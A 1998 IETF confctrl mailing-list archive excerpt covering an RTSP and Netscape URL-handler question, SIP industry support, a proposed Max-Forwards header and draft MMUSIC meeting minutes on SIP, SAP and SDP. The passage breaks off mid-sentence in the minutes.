	for <confctrl@ISI.EDU>; Tue, 17 Feb 1998 06:06:21 -0800 (PST)
Received: from mip.ee.nus.sg (amlan@[137.132.163.67]) by sable.nus.sg (8.8.8/8.6.9) with ESMTP id WAA06718 for <confctrl@ISI.EDU>; Tue, 17 Feb 1998 22:05:52 +0800 (SST)
Message-ID: <34E998DA.9A262801@mip.ee.nus.sg>
Date: Tue, 17 Feb 1998 22:04:10 +0800
From: A Saha <amlan@mip.ee.nus.sg>
Organization: National University of Singapore
X-Mailer: Mozilla 4.03 [en] (X11; I; Linux 2.0.30 i586)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: A query regarding RTSP and netscape!!!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all

I am Amlan from the NationalUniversity of Singapore. I am working
on a project which partially involves working with RTSP.  I would like
to ask you if it is possible to do the following with NETSCAPE and
if so where should I be looking for documents.

Say I type "rtsp://my.domain.net:554/some_directory/coolsong.wav"
in exactly the place where one would typically type
"http://something.com/something" in netscape.  Now is there a
such that I can spawn or activate my own application from netscape
with the entire string as the argument ? Something similar to when
one types "telnet://something", netscape starts the telnet application.

Has it got anything to do with "rundll32.exe" and my application
being a DLL to be loaded by rundll32.exe ?

Any comments would be highly appreciated.

regards
yours truly
-amlan.


-- 
-------------------------------------------------------------
Amlan Saha			   Voice:  (Work) +65-8709289 
Dept. of Electrical Engineering		   (Res)  +65-2562157
National University of Singapore   Fax:		  +65-7751910
10 Kent Ridge Crescent		   SMTP:  eng40607@nus.edu.sg
Singapore 119260		   HTTP: mip.ee.nus.sg/~amlan
-------------------------------------------------------------

From confctrl-owner  Tue Feb 17 15:26:26 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA02577
	for confctrl-outgoing; Tue, 17 Feb 1998 15:26:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA02572
	for <confctrl@zephyr.isi.edu>; Tue, 17 Feb 1998 15:26:21 -0800 (PST)
Received: from vlsi.cs.caltech.edu (vlsi.cs.caltech.edu [131.215.131.129])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA11211;
	Tue, 17 Feb 1998 15:26:17 -0800 (PST)
Received: from liszt.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA29794; Tue, 17 Feb 98 15:26:11 PST
Received: (from schooler@localhost)
	by liszt.cs.caltech.edu (8.8.8/8.8.7) id PAA02514;
	Tue, 17 Feb 1998 15:26:10 -0800 (PST)
Date: Tue, 17 Feb 1998 15:26:10 -0800 (PST)
From: Eve Schooler <schooler@cs.caltech.edu>
Message-Id: <199802172326.PAA02514@liszt.cs.caltech.edu>
To: mfrendo@cisco.com
Subject: Re: SIP Support
Cc: confctrl@ISI.EDU, mjh@ISI.EDU, schooler@cs.caltech.edu,
        schulzrinne@cs.columbia.edu
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Michael,

Check out Henning's excellent compendium of SIP-related information
at "http://www.cs.columbia.edu/~hgs/sip/" and in particular the
Implementations section at the bottom of that page.

However, I have forwarded this reply to the confctrl mailing list
in hopes that others from industry can better answer who is 
supporting or planning to support SIP.

E.

>From mfrendo@cisco.com Tue Feb 17 15:04:54 1998
>Date: Tue, 17 Feb 1998 15:03:09 -0800
>To: mjh@isi.edu, schooler@cs.caltech.edu
>From: "Michael J. Frendo" <mfrendo@cisco.com>
>Subject: SIP Support
>
>Hi,
>
>I am trying to get an understanding of who in the industry is supporting
>the SIP protocol. I was wondering if you have a list of Service providers
>and companies that are represented in the standardization process. Any help
>you could provide would be greatly appreciated as I am trying to gauge
>support for this effort.
>
>Thanks,
>Michael
> ____________________________________________________________________________
>|Michael Frendo - Director          |          |      Cisco Systems          |
>|Global Alliances-Partner Programs :|:        :|:     170 West Tasman Drive  |
>|(408) 526-6687                   :|||:      :|||:    San Jose, CA 95134-1706|
>|(408) 526-4287 fax            .:|||||||:..:|||||||:. mfrendo@cisco.com      |
>|______________________________ http://www.cisco.com_________________________|

From confctrl-owner  Tue Feb 17 17:58:33 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA10360
	for confctrl-outgoing; Tue, 17 Feb 1998 17:58:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA10354
	for <confctrl@zephyr.isi.edu>; Tue, 17 Feb 1998 17:58:32 -0800 (PST)
Received: from cocker.cisco.com (cocker-hme0.cisco.com [171.69.43.32])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA02741;
	Tue, 17 Feb 1998 17:58:30 -0800 (PST)
Received: from mfrendo-300CTpc.cisco.com (dhcp-e-40-123.cisco.com [171.69.40.123]) by cocker.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with SMTP id RAA20917; Tue, 17 Feb 1998 17:57:50 -0800 (PST)
Message-Id: <3.0.5.32.19980217175654.0098fd70@cocker.cisco.com>
X-Sender: mfrendo@cocker.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Tue, 17 Feb 1998 17:56:54 -0800
To: Eve Schooler <schooler@cs.caltech.edu>
From: "Michael J. Frendo" <mfrendo@cisco.com>
Subject: Re: SIP Support
Cc: confctrl@ISI.EDU, mjh@ISI.EDU, schooler@cs.caltech.edu,
        schulzrinne@cs.columbia.edu
In-Reply-To: <199802172326.PAA02514@liszt.cs.caltech.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I wonder if you have any service providers who are pushing this protocol. I
understand that MCI is fully behind it and wondered if there were also others.

Michael

At 03:26 PM 2/17/98 -0800, Eve Schooler wrote:
>Hi Michael,
>
>Check out Henning's excellent compendium of SIP-related information
>at "http://www.cs.columbia.edu/~hgs/sip/" and in particular the
>Implementations section at the bottom of that page.
>
>However, I have forwarded this reply to the confctrl mailing list
>in hopes that others from industry can better answer who is 
>supporting or planning to support SIP.
>
>E.
>
>>From mfrendo@cisco.com Tue Feb 17 15:04:54 1998
>>Date: Tue, 17 Feb 1998 15:03:09 -0800
>>To: mjh@isi.edu, schooler@cs.caltech.edu
>>From: "Michael J. Frendo" <mfrendo@cisco.com>
>>Subject: SIP Support
>>
>>Hi,
>>
>>I am trying to get an understanding of who in the industry is supporting
>>the SIP protocol. I was wondering if you have a list of Service providers
>>and companies that are represented in the standardization process. Any help
>>you could provide would be greatly appreciated as I am trying to gauge
>>support for this effort.
>>
>>Thanks,
>>Michael
>>
____________________________________________________________________________
>>|Michael Frendo - Director          |          |      Cisco Systems
   |
>>|Global Alliances-Partner Programs :|:        :|:     170 West Tasman
Drive  |
>>|(408) 526-6687                   :|||:      :|||:    San Jose, CA
95134-1706|
>>|(408) 526-4287 fax            .:|||||||:..:|||||||:. mfrendo@cisco.com
   |
>>|______________________________
http://www.cisco.com_________________________|
>
>
 ____________________________________________________________________________
|Michael Frendo - Director          |          |      Cisco Systems          |
|Global Alliances-Partner Programs :|:        :|:     170 West Tasman Drive  |
|(408) 526-6687                   :|||:      :|||:    San Jose, CA 95134-1706|
|(408) 526-4287 fax            .:|||||||:..:|||||||:. mfrendo@cisco.com      |
|______________________________ http://www.cisco.com
________________________|

From confctrl-owner  Wed Feb 18 02:38:42 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA18829
	for confctrl-outgoing; Wed, 18 Feb 1998 02:38:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA18824
	for <confctrl@zephyr.isi.edu>; Wed, 18 Feb 1998 02:38:41 -0800 (PST)
Received: from online.no (pilt.online.no [193.212.1.34])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA09841
	for <confctrl@ISI.EDU>; Wed, 18 Feb 1998 02:38:39 -0800 (PST)
Received: from nextel.no (nextel-166.nextel.no [193.212.238.166])
	by online.no (8.8.8/8.8.7) with ESMTP id LAA03228;
	Wed, 18 Feb 1998 11:37:59 +0100 (MET)
Message-ID: <34EAB895.E446030@nextel.no>
Date: Wed, 18 Feb 1998 11:31:49 +0100
From: "Børge Haga" <borgeh@nextel.no>
Organization: Telenor Nextel AS
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: A Saha <amlan@mip.ee.nus.sg>
CC: confctrl@ISI.EDU
Subject: Re: A query regarding RTSP and netscape!!!
References: <34E998DA.9A262801@mip.ee.nus.sg>
Content-Type: multipart/alternative; boundary="------------60D8B4419900FF7ED2552FFE"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------60D8B4419900FF7ED2552FFE
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

A Saha wrote:

> Say I type "rtsp://my.domain.net:554/some_directory/coolsong.wav"
> in exactly the place where one would typically type
> "http://something.com/something" in netscape.  Now is there a
> such that I can spawn or activate my own application from netscape
> with the entire string as the argument ? Something similar to when
> one types "telnet://something", netscape starts the telnet application.

I don't know if I understand your question correctly, but if I do you
can solve it like this:

1) JUST START OTHER PROGRAM, NO PARAMETERS PASSING
If you want clicking on an URL in netscape to launch a local application
you
can do so by using MSDOS BATCH files. You create a MIME type under
Edit-Preferences-Navigator-Applications for BAT files. Application entry
should be --"%1" %*-- (everything between --'s) when specifying the BAT
mime-type.

2) START OTHER PROGRAM, WITH PARAMETERS PASSING
With this you can start another program and send parameters to it as well.
The way to do this is to intercept the tn3270:// terminal handler in
Netscape.
This and the above is described at a web-site I found:

 Web Browser Techniques

http://gearbox.maem.umr.edu/~html-stuff/

Again, if I misunderstood your question I apologize.

--
Børge Haga
Telenor Nextel AS
Tel + 47 22770378
Fax + 47 22771910
Internet: borgeh@nextel.no
P.O.Box 393, Skøyen, 0212 Oslo, Norway
Office:Drammensveien 167, Skøyen


--------------60D8B4419900FF7ED2552FFE
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<HTML>
A Saha wrote:
<BLOCKQUOTE TYPE=CITE>Say I type "rtsp://my.domain.net:554/some_directory/coolsong.wav"
<BR>in exactly the place where one would typically type
<BR>"<A HREF="http://something.com/something">http://something.com/something</A>"
in netscape.&nbsp; Now is there a
<BR>such that I can spawn or activate my own application from netscape
<BR>with the entire string as the argument ? Something similar to when
<BR>one types "<A HREF="telnet://something">telnet://something</A>", netscape
starts the telnet application.</BLOCKQUOTE>
I don't know if I understand your question correctly, but if I do you
<BR>can solve it like this:

<P>1) JUST START OTHER PROGRAM, NO PARAMETERS PASSING
<BR>If you want clicking on an URL in netscape to launch a local application
you
<BR>can do so by using MSDOS BATCH files. You create a MIME type under
<BR>Edit-Preferences-Navigator-Applications for BAT files. Application
entry
<BR>should be --"%1" %*-- (everything between --'s) when specifying the
BAT
<BR>mime-type.

<P>2) START OTHER PROGRAM, WITH PARAMETERS PASSING
<BR>With this you can start another program and send parameters to it as
well.
<BR>The way to do this is to intercept the <A HREF="tn3270://">tn3270://</A> terminal handler in
Netscape.
<BR>This and the above is described at a web-site I found:

<P>&nbsp;<A HREF="http://gearbox.maem.umr.edu/~html-stuff/">Web Browser
Techniques</A>

<P><A HREF="http://gearbox.maem.umr.edu/~html-stuff/">http://gearbox.maem.umr.edu/~html-stuff/</A>

<P>Again, if I misunderstood your question I apologize.

<P>--
<BR>B&oslash;rge Haga
<BR>Telenor Nextel AS
<BR>Tel + 47 22770378
<BR>Fax + 47 22771910
<BR>Internet: borgeh@nextel.no
<BR>P.O.Box 393, Sk&oslash;yen, 0212 Oslo, Norway
<BR>Office:Drammensveien 167, Sk&oslash;yen
<BR>&nbsp;</HTML>

--------------60D8B4419900FF7ED2552FFE--


From confctrl-owner  Fri Feb 27 08:36:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA01885
	for confctrl-outgoing; Fri, 27 Feb 1998 08:36:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01880
	for <confctrl@zephyr.isi.edu>; Fri, 27 Feb 1998 08:36:04 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA02472
	for <confctrl@isi.edu>; Fri, 27 Feb 1998 08:36:03 -0800 (PST)
Received: from boole.dnrc.bell-labs.com ([135.180.161.25]) by dirty; Fri Feb 27 11:35:00 EST 1998
Received: from muskie.dnrc.bell-labs.com (muskie.dnrc.bell-labs.com [135.180.144.94])
	by boole.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id LAA20974
	for <confctrl@isi.edu>; Fri, 27 Feb 1998 11:37:20 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by muskie.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id LAA01531 for <confctrl@isi.edu>; Fri, 27 Feb 1998 11:34:58 -0500 (EST)
Message-ID: <34F6EB32.9FE76555@cs.columbia.edu>
Date: Fri, 27 Feb 1998 11:34:58 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Lucent / Bell Labs, USA
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: Max-Forwards
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The revision of HTTP/1.1 has a field Max-Forwards, basically like a TTL
field (decremented at each hop, server with Max-Forwards: 0 must act on
the request rather than proxy it.) If we want such a feature, it would
have to be in the final protocol (*), as it would have to be implemented
by everyone to be useful. Use in SIP context would be to avoid proxying
altogether (I currently have a "do-not-forward" Call-Disposition header
in the Call Control spec for this.) This can also be useful to avoid the
merging of proxy search branches: A proxy that sends out a parallel SIP
search would set the Max-Forwards to 0, avoiding that several requests
reach the same destination after being merged at a downstream proxy. 

It's also an additional safety mechanism that prevents looping, beyond
Via.

I don't feel strongly about this either way.

Comments are appreciated.

(*) Not quite: it could be part of an extension signaled via Require:.
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 732 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Sat Feb 28 09:27:58 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA25119
	for confctrl-outgoing; Sat, 28 Feb 1998 09:27:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA25082
	for <confctrl@zephyr.isi.edu>; Sat, 28 Feb 1998 09:27:55 -0800 (PST)
Received: from paleale.cisco.com (paleale.cisco.com [171.69.95.88])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21889
	for <confctrl@ISI.EDU>; Sat, 28 Feb 1998 09:27:54 -0800 (PST)
Received: from OranLT.cisco.com ([171.69.210.9]) by paleale.cisco.com (8.8.4-Cisco.1/8.6.5) with SMTP id JAA18967; Sat, 28 Feb 1998 09:26:59 -0800 (PST)
Message-Id: <3.0.2.32.19980227233337.006fdc54@paleale.cisco.com>
X-Sender: oran@paleale.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32)
Date: Fri, 27 Feb 1998 23:33:37 -0500
To: Henning Schulzrinne <hgs@cs.columbia.edu>, confctrl@ISI.EDU
From: "David R. Oran" <oran@cisco.com>
Subject: Re: SIP: Max-Forwards
In-Reply-To: <34F6EB32.9FE76555@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I like the idea, but I think the name is misleading, since it has nothing
to do with call forwarding (in fact I could envision a separate feature
which limited the depth of a user-specified call forwarding path).

Perhaps something like "Request-Remaining-Hops", or "Max-Request-Forwards"
would be more illustrative.

Dave.

At 11:34 AM 2/27/98 -0500, Henning Schulzrinne wrote:
>The revision of HTTP/1.1 has a field Max-Forwards, basically like a TTL
>field (decremented at each hop, server with Max-Forwards: 0 must act on
>the request rather than proxy it.) If we want such a feature, it would
>have to be in the final protocol (*), as it would have to be implemented
>by everyone to be useful. Use in SIP context would be to avoid proxying
>altogether (I currently have a "do-not-forward" Call-Disposition header
>in the Call Control spec for this.) This can also be useful to avoid the
>merging of proxy search branches: A proxy that sends out a parallel SIP
>search would set the Max-Forwards to 0, avoiding that several requests
>reach the same destination after being merged at a downstream proxy. 
>
>It's also an additional safety mechanism that prevents looping, beyond
>Via.
>
>I don't feel strongly about this either way.
>
>Comments are appreciated.
>
>(*) Not quite: it could be part of an extension signaled via Require:.
>-- 
>Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
>Dept. of Computer Science   phone: +1 732 949 8344 (at Bell Labs)
>Columbia University         fax:   +1 212 666-0140
>New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs
>
>

From confctrl-owner  Sat Feb 28 19:32:00 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA13683
	for confctrl-outgoing; Sat, 28 Feb 1998 19:32:00 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA13678
	for <confctrl@zephyr.isi.edu>; Sat, 28 Feb 1998 19:31:59 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA02647
	for <confctrl@ISI.EDU>; Sat, 28 Feb 1998 19:31:58 -0800 (PST)
Received: from leonia (usr1-dialup54.mix2.Boston.mci.net [166.55.67.54]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id WAA24313; Sat, 28 Feb 1998 22:31:52 -0500 (EST)
Message-ID: <34F8D6E4.B6D83133@cs.columbia.edu>
Date: Sat, 28 Feb 1998 22:32:52 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Reply-To: hgs@cs.columbia.edu
Organization: Columbia University (home)
X-Mailer: Mozilla 4.01 [en] (Win95; I)
MIME-Version: 1.0
To: "David R. Oran" <oran@cisco.com>
CC: confctrl@ISI.EDU
Subject: Re: SIP: Max-Forwards
X-Priority: 3 (Normal)
References: <3.0.2.32.19980227233337.006fdc54@paleale.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

David R. Oran wrote:
> 
> I like the idea, but I think the name is misleading, since it has
> nothing
> to do with call forwarding (in fact I could envision a separate
> feature
> which limited the depth of a user-specified call forwarding path).
> 
> Perhaps something like "Request-Remaining-Hops", or
> "Max-Request-Forwards"
> would be more illustrative.

Proxies do indeed (effectively) "forward" calls. Since the behavior is
similar to that of the HTTP/1.1 header of the same name, I didn't think
a different name would be that helpful.

On a more substantive note: The reason HTTP/1.1 introduces this field is
so that one can find out the available OPTIONS of the nth proxy along
the chain, something hard to do currently and possibly at least
occasionally useful in SIP.

Henning

From confctrl-owner  Sun Mar  1 07:20:26 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA04355
	for confctrl-outgoing; Sun, 1 Mar 1998 07:20:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA04350
	for <confctrl@zephyr.isi.edu>; Sun, 1 Mar 1998 07:20:25 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (root@bettina.informatik.uni-bremen.de [134.102.200.16] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA16873;
	Sun, 1 Mar 1998 07:20:21 -0800 (PST)
Received: from klobs.informatik.uni-bremen.de (klobs.informatik.uni-bremen.de [134.102.218.49])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id QAA08325;
	Sun, 1 Mar 1998 16:16:23 +0100 (MET)
Message-Id: <3.0.5.32.19980301162124.00870350@mail.informatik.uni-bremen.de>
X-Sender: jo@mail.informatik.uni-bremen.de (Unverified)
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Date: Sun, 01 Mar 1998 16:21:24 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
Subject: Draft MMUSIC minutes
Cc: schooler@cs.caltech.edu, mjh@ISI.EDU, rlang@std.sri.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

please find attached the draft minutes of the MMUSIC meeting at the Washington IETF.
We look forward to your comments.

Joerg


--------------------------------------------------------------------------------------

MMUSIC Minutes
==============

Prepared by: Joerg Ott <jo@tzi.uni-bremen.de>


Acknowledgement: Special thanks to Colin Perkins who has done an
		 excellent job taking notes of the MMUSIC WG session.

The MMUSIC WG met once during the 40th IETF.  The meeting started with
a brief review of the status of Internet Drafts due for last call:
Mark Handley noted that the Real Time Streaming Protocol (RTSP) is
already at last call with the IESG and that the Session Description
Protocol (SDP) will go to last call shortly after this meeting.  No
further discussion was needed on those two subjects.

Session Initiation Protocol (SIP)
---------------------------------

Henning Schulzrinne gave a presentation on the latest revision of SIP
elaborating on operational aspects of the protocol as well as
indicating the functional changes after the Munich IETF.  A long
discussion was held on the reliability needed for SIP messages if SIP
mesages are carried in UDP packets.  Henning pointed out that for many
client messages (intermediate) answers are required from the server
which imply acknowledgment of the previously sent message.  For some
messages from the server to the client, an additional ACK message is
needed, this may also be the case for the BYE message from the client
to the server (since then resources can be released at the server).
A combination of implied acknowledgments, ACK messages, and timeouts
with message repetition should solve these problems.  However, some
details remain to be sorted out.

Henning's presentation of multicast invitations extended the mechanism
to make use them to simultaneously invite several persons.  It was
noted that the semantics of such invitations are unclear and that they
may lead to answer message implosions.  It was agreed to stay with the
exclusive use of multicast invitations for user location purposes --
what they were originally intended for -- in the basic SIP
specification (see below).

Furthermore, Henning proposed various extensions in the direction of
what is referred to as "supplementary services" in the telephony / PBX
world.  Some functions of call forwarding / call deflection can be
implemented in the SIP proxy or the SIP server of a user using basic
SIP messaging.  Newly added functionality includes call disposition
and call delegation.  Call disposition allows a calling party to
influence the called user's SIP server behavior, e.g. to avoid
forwarding or to queue a call if the user is busy / unavailable.  Call
delegation allows the called endpoint to redirect the call to others
-- by changing the parties to which the call is addressed.  Finally,
the location header of the SIP Invite message may be used to indicate
alternatives where to reach the called user -- which may be given
relative preferences or which may be associated with different quality
levels.  This would allow the caller to make an intelligent decision
on which of the alternatives to try next and would also allow more
sophisticated searching which is achieved at the cost of higher
complexity.  Many participants expressed that -- although some of
these features may be desirable -- they prefer it to go into the next
version of or an extension to SIP rather than into the base
specification to be completed soon.

For configuration purposes, Henning proposed SIP messages that allow a
client to register and unregister with a SIP server; this would
include user id, location information, etc.  It was noted that is
addresses (local) configuration of SIP servers / proxies and is an
orthogonal to the functions SIP is intended to perform.  In
particular, this is moving the protocol into a new area, which it
wasn't intended to solve, and for which different mechanisms
(e.g. with respect to security) were required.  Mark Handley pointed
out that the UCL session directory (sdr) implemented configuration by
means of the HTTP POST message.  No consensus was reached in the group
for the inclusion of these features in the (basic) SIP specification.

Overall, it was noted felt the scope of the base SIP specification and
its delineation from extension / profile documents seems unclear at
the moment.  The conference chairs and the editors agreed to sort out
the details soon after the IETF (again, see below).

It should be noted that from the intense discussions during the
meeting and lack of such controversies on the mailing list -- although
the SIP draft was published for quite some time and many features were
in there since late summer 1997 -- it became apparent that the
expected review of the SIP draft did not take place before the IETF.
The chairs encourage people to timely look at Internet Drafts as they
appear and debate them on the mailing list -- otherwise, silence may
be mistaken as consensus even though there is no agreement.

Joerg Ott presented a proposal on how to proceed with SIP to achieve a
stable document to become a standards track RFC soon.  In particular,
he noted that although the basic SIP idea has been around for a while
no stable state has been reached yet and that in the past only little
third party review took place.  Recently, SIP started broadening its
scope and keeps steadily growing which prevents it from becoming
stable.  He pointed out that, as there is the desire from other WGs to
make use of SIP, reaching a stable specification soon is a mandate;
otherwise, SIP may loose this last chance of gaining relevance in some
place.  As progress of the specification as it stands right now in
draft-ietf-mmusic-sip-04.txt depends on too many factors, he proposed
to split SIP into a basic specification that only defines the most
elementary features of SIP and one or more profile documents that
enhance SIP to meet the needs of other groups.  He also noted that
some of these extensions may not be in the scope of the MMUSIC WG and
in which case those would taken care of by other WGs.  The following
discussion confirmed this approach, and it was decided that the WG
chairs and the editors are to work out a delineation between the basic
SIP specification -- which is to contain a mandatory core and a few
generic extensions / options -- and potential profiles -- which may
address third party call setup (as required by PINT), advanced
supplementary services, user location, and others.  It is expected
that some extensions / profiles will be handled within the MMUSIC WG
while others will be developed in those WGs that intend to use SIP for
their purposes.


Session Annoucement Protocol (SAP)
----------------------------------

Mark Handley presented recent considerations on the Session
Announcement Protocol (SAP).  One major intended change stems from the
recent efforts on multicast address allocation undertaken by the IDMR
WG and from the discussion on using multiple Session Directories for
announcements (see Ross Finlayson's presentation described below).
This work will require to split away the part of SAP dealing with
multicast address allocation.  Mark noted that this does not require
protocol changes, but updates to the descriptive text may be needed in
various parts of the document.  Furthermore, the SAP specification
shall force people towards the use of administratively scoped
multicast addresses (to replace the currently used TTL scoping) and
hence the corresponding section on TTL scoping shall be
removed/replaced.

It was noted that SAP payloads (if carrying SDP data) may easily grow
larger than a typical MTU so that a UDP datagram carrying a SAP
message may need fragmentation.  It is suggested to use the GZIP
compression algorithm, but it was pointed out that GZIP is not
sufficiently well specified at this point.  Further work is needed
here.

A brief discussion on the use of the delete message for session
announcements was held.  It was found that the default means to delete
session announcements should be a timeout with delete messages used as
an optimization.

Finally, SAP shall be kept entirely independent of the payload type
SAP messages carry, i.e. the payload does not have to be SDP.
However, for the base session announcement multicast address, SDP
should be the default payload type.

With respect to the further work plan, it ws agreed to put SAP and
SAP Security (see next item) on the Standards track early 1998.


Session Annoucement Protocol (SAP) Security
-------------------------------------------

Edmund Whelan gave a presentation of the current status of work on
security.  SAP itself provides hooks to integrate security functions
(beyond encryption) but does not specify specific algorithms.  The
current Internet Draft draft-ietf-mmusic-sap-sec-03.txt defines
authentication and privacy based upon the PGP or PKCS#7 algorithms to
close these holes in the base SAP specification.

For authentication, a generic authentication header is provided which
is followed by an algorithm-specific subheader.  For symmetric
encryption, the approach of the basic SAP specification is followed,
hybrid encryption schemes make use of a combination of a generic
header and an algorithm-specific subheader.

The changes since the previous draft of Secure SAP include the
following.  Draft -03 now specifies two algorithms to be used with
SAP: PGP (RFC 1991) and PKCS#7.  Two open issues were raised by Edmund
for discussion in the group but not yet resolved: whether the group
should move from PGP to Open PGP to avoid mandatory support for
encumbered algorithms and, similarly, whether S/MIME version 3 should
be used instead of PKCS#7.  It was found that people seem to be keen
to make such moves, but the success depends on the progress of Open
PGP and S/MIME.  Another question raised in this context was whether
it was possible to mandate only a single algorithm rather than
requiring any implementation to support both.  There was no resolution
to this issue.

Finally, Edmund reported on the implementation status of Secure SAP:
symmetric encryption and PGP-based authentication and encryption were
reported to be complete in SDR.  He expect the remaining functions to
be completed in the near future -- i.e. in the January 1998 time
frame.

Work is continuing on the Secure SAP Internet Draft; a new revision
shall be coming up soon after the publication of the revised SAP draft.


Multiple Directories in SDP
---------------------------

Ross Finlayson presented an approach to support multiple session
directories instead of a single one for session announcements.  The
motivation for this idea stems from the observation that a single
directory does not scale.  Even with today's moderate use of the Mbone
announcement channel and despite regional announcements, the session
directory tools such as SDR show several dozens of sessions (with this
number continuously increasing).  This results in the user interface
getting cluttered and -- with only a single multicast group being used
to distribute all the announcents -- the interval between two
announcements of the same session gets very large (eventually
rendering this retransmission scheme useless) because of the fixed
bandwidth allocated to the announcement channel.

The solution proposed by Ross uses multiple directories with distinct
respective multicast addresses, bandwidth limitations, etc.  The use
of multiple independent directories is enabled because the recent work
on multicast address allocation allows decoupling this task from SAP.
A possible approach is to continue using the current announcement
session as "base directory" and announce new session directories
within the base directory as another session with a certain subject,
e.g. "test sessions", "radio/tv sessions", etc.  A new SDP media type
for session directory announcement could be

	m=directory <port> <protocol> <format>

with the initial protocol and format defined being "SAP" and "SDP".
Ross pointed out that this concept would in principle not require a
single root directory session but allow directories to be related to
one another in arbitrary graphs (like the world wide web), media
sessions could be coupled with related directory sessions, encrypted
directories are possible, and other (standardized or proprietary)
announcement protocols and directory formats could be used.  Finally,
it was pointed out that allowing multiple directories may require
changes to firewalls.

In the following discussion in the working group, a variety of issues
were raised that need to be solved in conjunction with the concept of
multiple directories.  It needs to be sorted out who controls the
creation of new directories and what happens with sessions announced
within a directory when this directory is deleted.  One approach could
be to see what happens and worry about it later; another would be to
follow a policy style comparable to NetNews.  As a policy will
eventually be needed anyway, one should think about a proper policy
right from the beginning.  In any case, security mechanisms
(particularly authentication) are a prerequisite for controlling use
of multiple directories.  Another issue pointed out is that arbitrary
graphs of directories may easily lead to confusion and make it
